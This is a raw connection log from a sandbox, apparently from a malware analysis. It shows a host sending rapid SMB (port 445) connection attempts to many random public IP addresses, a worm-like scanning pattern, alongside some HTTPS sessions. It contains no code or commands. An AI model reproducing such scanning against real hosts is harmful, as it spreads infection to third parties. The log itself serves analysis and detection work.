Jul 20, 2022 15:45:19.752942085 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.752980947 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.752990961 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.753002882 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.753025055 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.753081083 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.755382061 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.755412102 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.755461931 CEST	53106	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:19.755470991 CEST	443	53106	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:19.769669056 CEST	445	53091	70.166.38.66	192.168.2.7
Jul 20, 2022 15:45:19.775773048 CEST	53122	445	192.168.2.7	47.239.179.224
Jul 20, 2022 15:45:19.793358088 CEST	53123	445	192.168.2.7	107.186.141.8
Jul 20, 2022 15:45:19.839078903 CEST	53124	445	192.168.2.7	73.3.188.40
Jul 20, 2022 15:45:19.840385914 CEST	53125	445	192.168.2.7	130.197.124.120
Jul 20, 2022 15:45:19.841736078 CEST	53127	445	192.168.2.7	162.212.237.188
Jul 20, 2022 15:45:19.899719954 CEST	52981	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:19.920005083 CEST	53131	445	192.168.2.7	52.91.170.51
Jul 20, 2022 15:45:19.965822935 CEST	53137	445	192.168.2.7	37.166.201.248
Jul 20, 2022 15:45:19.971092939 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:19.971132040 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:19.971240044 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:19.971688986 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:19.971705914 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.026473045 CEST	53140	445	192.168.2.7	219.243.11.67
Jul 20, 2022 15:45:20.027209997 CEST	53141	445	192.168.2.7	110.50.221.193
Jul 20, 2022 15:45:20.028028011 CEST	53142	445	192.168.2.7	1.133.166.245
Jul 20, 2022 15:45:20.028784037 CEST	53143	445	192.168.2.7	135.139.166.203
Jul 20, 2022 15:45:20.030185938 CEST	53145	445	192.168.2.7	157.244.18.20
Jul 20, 2022 15:45:20.030855894 CEST	53146	445	192.168.2.7	148.145.182.36
Jul 20, 2022 15:45:20.031529903 CEST	53147	445	192.168.2.7	211.207.53.74
Jul 20, 2022 15:45:20.034364939 CEST	53151	445	192.168.2.7	11.198.40.178
Jul 20, 2022 15:45:20.035149097 CEST	53152	445	192.168.2.7	172.178.128.124
Jul 20, 2022 15:45:20.035936117 CEST	53153	445	192.168.2.7	177.152.249.140
Jul 20, 2022 15:45:20.036683083 CEST	53154	445	192.168.2.7	44.253.199.132
Jul 20, 2022 15:45:20.037412882 CEST	53155	445	192.168.2.7	87.66.41.212
Jul 20, 2022 15:45:20.038151026 CEST	53156	445	192.168.2.7	207.254.129.186
Jul 20, 2022 15:45:20.038889885 CEST	53157	445	192.168.2.7	193.200.97.78
Jul 20, 2022 15:45:20.044789076 CEST	53159	445	192.168.2.7	89.103.115.153
Jul 20, 2022 15:45:20.047597885 CEST	53160	445	192.168.2.7	124.253.184.184
Jul 20, 2022 15:45:20.062031984 CEST	53161	445	192.168.2.7	201.180.61.96
Jul 20, 2022 15:45:20.064076900 CEST	445	53131	52.91.170.51	192.168.2.7
Jul 20, 2022 15:45:20.260181904 CEST	53164	445	192.168.2.7	188.18.139.47
Jul 20, 2022 15:45:20.391220093 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.391309023 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.393367052 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.393379927 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.393757105 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.395090103 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.436497927 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.602983952 CEST	53131	445	192.168.2.7	52.91.170.51
Jul 20, 2022 15:45:20.669878960 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.669920921 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.669948101 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.670059919 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.670074940 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.670120001 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.670125961 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.670135975 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.670188904 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.670239925 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.678566933 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.678726912 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.747575045 CEST	445	53131	52.91.170.51	192.168.2.7
Jul 20, 2022 15:45:20.769351959 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.769388914 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:20.769423962 CEST	53138	443	192.168.2.7	52.152.110.14
Jul 20, 2022 15:45:20.769433022 CEST	443	53138	52.152.110.14	192.168.2.7
Jul 20, 2022 15:45:21.290501118 CEST	53131	445	192.168.2.7	52.91.170.51
Jul 20, 2022 15:45:21.433439970 CEST	445	53131	52.91.170.51	192.168.2.7
Jul 20, 2022 15:45:21.475358009 CEST	53170	445	192.168.2.7	181.145.15.254
Jul 20, 2022 15:45:21.476052999 CEST	53171	445	192.168.2.7	6.177.201.65
Jul 20, 2022 15:45:21.485327959 CEST	53173	445	192.168.2.7	34.232.45.109
Jul 20, 2022 15:45:21.485439062 CEST	53174	445	192.168.2.7	116.243.218.162
Jul 20, 2022 15:45:21.485605955 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:21.485836029 CEST	53181	445	192.168.2.7	107.186.141.9
Jul 20, 2022 15:45:21.485920906 CEST	53182	445	192.168.2.7	155.172.104.215
Jul 20, 2022 15:45:21.566445112 CEST	53183	445	192.168.2.7	188.18.139.48
Jul 20, 2022 15:45:21.579859972 CEST	53186	445	192.168.2.7	53.128.55.238
Jul 20, 2022 15:45:21.580559969 CEST	53187	445	192.168.2.7	177.40.1.149
Jul 20, 2022 15:45:21.581892014 CEST	53189	445	192.168.2.7	15.74.254.66
Jul 20, 2022 15:45:21.590684891 CEST	53196	445	192.168.2.7	223.215.211.42
Jul 20, 2022 15:45:21.592255116 CEST	53198	445	192.168.2.7	170.203.204.112
Jul 20, 2022 15:45:21.593005896 CEST	53199	445	192.168.2.7	186.46.250.222
Jul 20, 2022 15:45:21.594382048 CEST	53201	445	192.168.2.7	133.145.7.218
Jul 20, 2022 15:45:21.595107079 CEST	53202	445	192.168.2.7	149.63.13.83
Jul 20, 2022 15:45:21.595803976 CEST	53203	445	192.168.2.7	120.191.109.91
Jul 20, 2022 15:45:21.596498966 CEST	53204	445	192.168.2.7	60.160.8.210
Jul 20, 2022 15:45:21.597199917 CEST	53205	445	192.168.2.7	23.3.70.223
Jul 20, 2022 15:45:21.659327984 CEST	445	53176	38.85.220.156	192.168.2.7
Jul 20, 2022 15:45:21.659707069 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:21.706399918 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:21.725239038 CEST	53207	445	192.168.2.7	181.56.60.242
Jul 20, 2022 15:45:21.725339890 CEST	53208	445	192.168.2.7	211.229.148.141
Jul 20, 2022 15:45:21.725610018 CEST	53212	445	192.168.2.7	45.248.35.0
Jul 20, 2022 15:45:21.725744963 CEST	53206	445	192.168.2.7	58.128.37.181
Jul 20, 2022 15:45:21.725928068 CEST	53213	445	192.168.2.7	95.38.13.98
Jul 20, 2022 15:45:21.726044893 CEST	53214	445	192.168.2.7	190.72.237.205
Jul 20, 2022 15:45:21.726140976 CEST	53215	445	192.168.2.7	79.193.144.206
Jul 20, 2022 15:45:21.726257086 CEST	53216	445	192.168.2.7	160.234.42.100
Jul 20, 2022 15:45:21.726355076 CEST	53217	445	192.168.2.7	7.137.189.146
Jul 20, 2022 15:45:21.726447105 CEST	53218	445	192.168.2.7	56.98.127.220
Jul 20, 2022 15:45:21.726614952 CEST	53220	445	192.168.2.7	186.214.113.163
Jul 20, 2022 15:45:21.726774931 CEST	53223	445	192.168.2.7	109.75.197.4
Jul 20, 2022 15:45:21.727207899 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:21.897386074 CEST	445	53226	38.85.220.1	192.168.2.7
Jul 20, 2022 15:45:21.897573948 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:21.929857016 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:21.941580057 CEST	53230	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:22.290568113 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:22.603158951 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:23.344746113 CEST	53232	445	192.168.2.7	57.41.147.30
Jul 20, 2022 15:45:23.345455885 CEST	53233	445	192.168.2.7	103.211.200.45
Jul 20, 2022 15:45:23.404452085 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:23.425646067 CEST	53235	445	192.168.2.7	188.18.139.49
Jul 20, 2022 15:45:23.426767111 CEST	53236	445	192.168.2.7	107.186.141.10
Jul 20, 2022 15:45:23.520519018 CEST	53237	445	192.168.2.7	93.82.222.115
Jul 20, 2022 15:45:23.521287918 CEST	53238	445	192.168.2.7	157.111.160.242
Jul 20, 2022 15:45:23.522612095 CEST	53240	445	192.168.2.7	53.192.198.66
Jul 20, 2022 15:45:23.524550915 CEST	53243	445	192.168.2.7	187.18.176.116
Jul 20, 2022 15:45:23.528669119 CEST	53249	445	192.168.2.7	30.143.117.56
Jul 20, 2022 15:45:23.530621052 CEST	53252	445	192.168.2.7	213.71.86.184
Jul 20, 2022 15:45:23.531296015 CEST	53253	445	192.168.2.7	122.199.120.210
Jul 20, 2022 15:45:23.531949043 CEST	53254	445	192.168.2.7	131.248.149.134
Jul 20, 2022 15:45:23.532648087 CEST	53255	445	192.168.2.7	108.41.209.86
Jul 20, 2022 15:45:23.533341885 CEST	53256	445	192.168.2.7	164.146.151.100
Jul 20, 2022 15:45:23.534006119 CEST	53257	445	192.168.2.7	83.133.179.111
Jul 20, 2022 15:45:23.534699917 CEST	53258	445	192.168.2.7	116.134.203.96
Jul 20, 2022 15:45:23.535356045 CEST	53259	445	192.168.2.7	129.228.91.240
Jul 20, 2022 15:45:23.536703110 CEST	53261	445	192.168.2.7	31.102.113.214
Jul 20, 2022 15:45:23.538592100 CEST	53264	445	192.168.2.7	170.59.131.104
Jul 20, 2022 15:45:23.563244104 CEST	445	53257	83.133.179.111	192.168.2.7
Jul 20, 2022 15:45:23.659313917 CEST	53268	445	192.168.2.7	211.20.19.89
Jul 20, 2022 15:45:23.718012094 CEST	445	53243	187.18.176.116	192.168.2.7
Jul 20, 2022 15:45:23.768889904 CEST	53269	445	192.168.2.7	32.47.151.222
Jul 20, 2022 15:45:23.790671110 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:23.902575016 CEST	53271	445	192.168.2.7	94.44.251.177
Jul 20, 2022 15:45:23.903402090 CEST	53272	445	192.168.2.7	95.154.42.183
Jul 20, 2022 15:45:23.904181004 CEST	53273	445	192.168.2.7	99.229.0.103
Jul 20, 2022 15:45:23.904918909 CEST	53274	445	192.168.2.7	112.87.62.45
Jul 20, 2022 15:45:23.905651093 CEST	53275	445	192.168.2.7	166.46.227.129
Jul 20, 2022 15:45:23.907018900 CEST	53277	445	192.168.2.7	198.61.83.128
Jul 20, 2022 15:45:23.907778025 CEST	53278	445	192.168.2.7	22.207.35.121
Jul 20, 2022 15:45:23.909156084 CEST	53280	445	192.168.2.7	42.157.58.147
Jul 20, 2022 15:45:23.913647890 CEST	53287	445	192.168.2.7	180.251.237.162
Jul 20, 2022 15:45:24.197026968 CEST	53257	445	192.168.2.7	83.133.179.111
Jul 20, 2022 15:45:24.225202084 CEST	445	53257	83.133.179.111	192.168.2.7
Jul 20, 2022 15:45:24.400165081 CEST	53243	445	192.168.2.7	187.18.176.116
Jul 20, 2022 15:45:24.571405888 CEST	53291	445	192.168.2.7	188.18.139.50
Jul 20, 2022 15:45:24.572324991 CEST	53292	445	192.168.2.7	107.186.141.11
Jul 20, 2022 15:45:24.592066050 CEST	445	53243	187.18.176.116	192.168.2.7
Jul 20, 2022 15:45:24.626487017 CEST	53293	445	192.168.2.7	62.126.229.99
Jul 20, 2022 15:45:24.627207994 CEST	53294	445	192.168.2.7	189.53.49.39
Jul 20, 2022 15:45:25.103296995 CEST	53230	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:25.603372097 CEST	53176	445	192.168.2.7	38.85.220.156
Jul 20, 2022 15:45:25.900290966 CEST	53226	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:45:25.900315046 CEST	52981	445	192.168.2.7	149.20.139.1
Jul 20, 2022 15:45:26.910146952 CEST	53272	445	192.168.2.7	95.154.42.183
Jul 20, 2022 15:45:26.910186052 CEST	53275	445	192.168.2.7	166.46.227.129
Jul 20, 2022 15:45:26.917407036 CEST	53299	445	192.168.2.7	30.221.132.76
Jul 20, 2022 15:45:26.920545101 CEST	53303	445	192.168.2.7	85.91.250.128
Jul 20, 2022 15:45:26.921283960 CEST	53304	445	192.168.2.7	122.207.85.52
Jul 20, 2022 15:45:27.030056000 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.030092955 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.030180931 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.031085014 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.031097889 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.128710032 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.129034042 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.176757097 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.176783085 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.177202940 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.178694010 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.178719997 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.178730965 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.268929958 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.287952900 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.288065910 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.288197994 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.318991899 CEST	53305	443	192.168.2.7	20.199.120.182
Jul 20, 2022 15:45:27.319017887 CEST	443	53305	20.199.120.182	192.168.2.7
Jul 20, 2022 15:45:27.358551025 CEST	53306	445	192.168.2.7	151.142.5.1
Jul 20, 2022 15:45:27.359298944 CEST	53307	445	192.168.2.7	28.54.50.159
Jul 20, 2022 15:45:27.359313965 CEST	53308	445	192.168.2.7	36.116.249.102
Jul 20, 2022 15:45:27.359432936 CEST	53310	445	192.168.2.7	34.80.138.198
Jul 20, 2022 15:45:27.359549046 CEST	53309	445	192.168.2.7	72.29.133.174
Jul 20, 2022 15:45:27.359549999 CEST	53311	445	192.168.2.7	32.46.3.86
Jul 20, 2022 15:45:27.359626055 CEST	53313	445	192.168.2.7	162.74.210.174
Jul 20, 2022 15:45:27.359857082 CEST	53320	445	192.168.2.7	183.221.66.54
Jul 20, 2022 15:45:27.359985113 CEST	53323	445	192.168.2.7	91.254.156.134
Jul 20, 2022 15:45:27.360022068 CEST	53324	445	192.168.2.7	174.42.14.27
Jul 20, 2022 15:45:27.360099077 CEST	53326	445	192.168.2.7	155.104.32.183
Jul 20, 2022 15:45:27.360127926 CEST	53327	445	192.168.2.7	18.179.137.54
Jul 20, 2022 15:45:27.360266924 CEST	53330	445	192.168.2.7	14.223.174.250
Jul 20, 2022 15:45:27.360368013 CEST	53333	445	192.168.2.7	170.53.30.144
Jul 20, 2022 15:45:27.360563040 CEST	53339	445	192.168.2.7	188.18.139.51
Jul 20, 2022 15:45:27.360584974 CEST	53338	445	192.168.2.7	107.186.141.12
Jul 20, 2022 15:45:27.360665083 CEST	53340	445	192.168.2.7	36.53.191.208
Jul 20, 2022 15:45:27.360682964 CEST	53341	445	192.168.2.7	139.241.25.10
Jul 20, 2022 15:45:27.360882044 CEST	53345	445	192.168.2.7	132.201.253.154
Jul 20, 2022 15:45:27.360953093 CEST	53347	445	192.168.2.7	165.222.99.164
Jul 20, 2022 15:45:27.360960960 CEST	53346	445	192.168.2.7	97.239.16.188
Jul 20, 2022 15:45:27.361103058 CEST	53349	445	192.168.2.7	11.167.123.219
Jul 20, 2022 15:45:27.361119032 CEST	53348	445	192.168.2.7	68.30.3.209
Jul 20, 2022 15:45:27.361284018 CEST	53351	445	192.168.2.7	132.131.8.132
Jul 20, 2022 15:45:27.361416101 CEST	53354	445	192.168.2.7	111.28.80.14
Jul 20, 2022 15:45:27.361417055 CEST	53352	445	192.168.2.7	128.33.198.189
Jul 20, 2022 15:45:27.409815073 CEST	53356	445	192.168.2.7	28.168.94.225
Jul 20, 2022 15:45:27.823688030 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:27.823730946 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:27.823817015 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:27.824232101 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:27.824244976 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:27.860601902 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.860640049 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:27.860749006 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.861682892 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.861700058 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:27.957952976 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:27.958051920 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.974524021 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.974541903 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:27.987930059 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.987943888 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:27.988192081 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:27.988198042 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:28.064929962 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:28.065025091 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:28.065030098 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:28.065090895 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:28.069843054 CEST	53362	445	192.168.2.7	112.36.220.25
Jul 20, 2022 15:45:28.070218086 CEST	53366	445	192.168.2.7	24.0.213.222
Jul 20, 2022 15:45:28.070419073 CEST	53367	445	192.168.2.7	185.218.11.87
Jul 20, 2022 15:45:28.074908018 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:28.074928999 CEST	443	53358	20.40.129.122	192.168.2.7
Jul 20, 2022 15:45:28.074938059 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:28.074980974 CEST	53358	443	192.168.2.7	20.40.129.122
Jul 20, 2022 15:45:28.152825117 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.153002977 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.179451942 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.179478884 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.179734945 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.181483984 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.224499941 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394444942 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394470930 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394493103 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394567966 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394582987 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394603014 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394617081 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394635916 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394643068 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394651890 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394680023 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394710064 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394717932 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394723892 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394769907 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394777060 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394795895 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.394821882 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.394857883 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.397533894 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.397564888 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.397576094 CEST	53357	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.397583961 CEST	443	53357	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.433707952 CEST	53368	445	192.168.2.7	107.186.141.13
Jul 20, 2022 15:45:28.434379101 CEST	53369	445	192.168.2.7	188.18.139.52
Jul 20, 2022 15:45:28.505501986 CEST	53370	445	192.168.2.7	23.82.248.59
Jul 20, 2022 15:45:28.506325960 CEST	53371	445	192.168.2.7	187.109.243.152
Jul 20, 2022 15:45:28.507078886 CEST	53372	445	192.168.2.7	124.134.202.5
Jul 20, 2022 15:45:28.507994890 CEST	53373	445	192.168.2.7	128.231.4.135
Jul 20, 2022 15:45:28.508815050 CEST	53374	445	192.168.2.7	75.233.73.106
Jul 20, 2022 15:45:28.521506071 CEST	53375	445	192.168.2.7	78.147.103.237
Jul 20, 2022 15:45:28.524461031 CEST	53376	445	192.168.2.7	145.44.80.180
Jul 20, 2022 15:45:28.526326895 CEST	53383	445	192.168.2.7	50.98.251.58
Jul 20, 2022 15:45:28.526530981 CEST	53387	445	192.168.2.7	116.155.123.230
Jul 20, 2022 15:45:28.526546001 CEST	53386	445	192.168.2.7	6.146.209.77
Jul 20, 2022 15:45:28.526662111 CEST	53388	445	192.168.2.7	60.42.95.117
Jul 20, 2022 15:45:28.526673079 CEST	53389	445	192.168.2.7	65.19.167.123
Jul 20, 2022 15:45:28.526959896 CEST	53394	445	192.168.2.7	216.27.79.204
Jul 20, 2022 15:45:28.526978970 CEST	53395	445	192.168.2.7	132.2.70.188
Jul 20, 2022 15:45:28.527220011 CEST	53401	445	192.168.2.7	55.133.117.125
Jul 20, 2022 15:45:28.527276039 CEST	53402	445	192.168.2.7	27.75.16.184
Jul 20, 2022 15:45:28.527379036 CEST	53405	445	192.168.2.7	31.18.158.116
Jul 20, 2022 15:45:28.527451038 CEST	53407	445	192.168.2.7	81.196.188.146
Jul 20, 2022 15:45:28.527504921 CEST	53408	445	192.168.2.7	180.206.203.99
Jul 20, 2022 15:45:28.527604103 CEST	53409	445	192.168.2.7	218.9.33.172
Jul 20, 2022 15:45:28.527682066 CEST	53410	445	192.168.2.7	91.7.190.205
Jul 20, 2022 15:45:28.527779102 CEST	53412	445	192.168.2.7	35.11.229.122
Jul 20, 2022 15:45:28.527795076 CEST	53413	445	192.168.2.7	15.76.34.11
Jul 20, 2022 15:45:28.527923107 CEST	53415	445	192.168.2.7	215.111.164.61
Jul 20, 2022 15:45:28.545137882 CEST	53418	445	192.168.2.7	187.233.32.143
Jul 20, 2022 15:45:28.742192984 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.742252111 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.742343903 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.743761063 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:28.743782043 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:28.811014891 CEST	445	53402	27.75.16.184	192.168.2.7
Jul 20, 2022 15:45:28.819883108 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:28.819922924 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:28.820023060 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:28.833925962 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:28.833952904 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:28.991990089 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:28.992161989 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.139475107 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.139496088 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.160125017 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.160147905 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.183650017 CEST	53424	445	192.168.2.7	165.52.28.50
Jul 20, 2022 15:45:29.184415102 CEST	53425	445	192.168.2.7	140.115.207.190
Jul 20, 2022 15:45:29.219429970 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.219598055 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.219614029 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.219696045 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.219755888 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.219816923 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.220287085 CEST	53420	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.220302105 CEST	443	53420	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.230628014 CEST	53427	445	192.168.2.7	207.15.11.89
Jul 20, 2022 15:45:29.286328077 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.286375999 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.286499977 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.289258957 CEST	53430	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:45:29.289287090 CEST	443	53430	20.238.103.94	192.168.2.7
Jul 20, 2022 15:45:29.386435032 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.386532068 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.389425993 CEST	53419	443	192.168.2.7	52.242.101.226
Jul 20, 2022 15:45:29.389441013 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.389734030 CEST	443	53419	52.242.101.226	192.168.2.7
Jul 20, 2022 15:45:29.391381025 CEST	53419	443	192.168.2.7	52.242.101.226
